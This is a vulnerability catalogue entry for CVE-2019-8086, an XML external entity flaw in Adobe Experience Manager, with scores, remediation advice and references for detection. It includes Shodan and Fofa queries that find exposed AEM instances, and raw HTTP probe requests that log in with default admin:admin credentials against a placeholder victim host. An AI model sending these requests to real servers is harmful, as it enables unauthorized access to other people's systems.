🔙 목록으로 돌아가기

CVE-2019-8086: Adobe Experience Manager - XML External Entity Injection

TitleAdobe Experience Manager - XML External Entity Injection
AuthorDhiyaneshDk
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server-side request forgery, and potential remote code execution.
RemediationApply the necessary security patches provided by Adobe to mitigate the vulnerability. Additionally, ensure that the server is properly configured to restrict access to sensitive files and prevent XXE attacks.
CVSS Score7.5
EPSS Score0.54798
CVE IDCVE-2019-8086
CWE IDCWE-611
Shodan Queryhttp.title:"AEM Sign In"http.component:"Adobe Experience Manager"http.component:"adobe experience manager"http.title:"aem sign in"cpe:"cpe:2.3:a:adobe:experience_manager"
Fofa Querytitle="aem sign in"
Tags cve cve2019 aem adobe vuln

🔍 Vulnerability Description

Adobe Experience Manager 6.5, 6.4, 6.3 and 6.2 are susceptible to XML external entity injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /content/38FZUczJH5I8R6QulGH3TiiHh7v HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 50
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Referer: http://www.victim.com
Accept-Encoding: gzip

sling:resourceType=fd/af/components/guideContainer
POST /content/38FZUczJH5I8R6QulGH3TiiHh7v.af.internalsubmit.json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; ClaudeBot/1.0; +claudebot@anthropic.com)
Connection: close
Content-Length: 136
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Referer: http://www.victim.com
Accept-Encoding: gzip

guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<afData>\u0041\u0042\u0043</afData>"}}}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-8086.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-8086.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A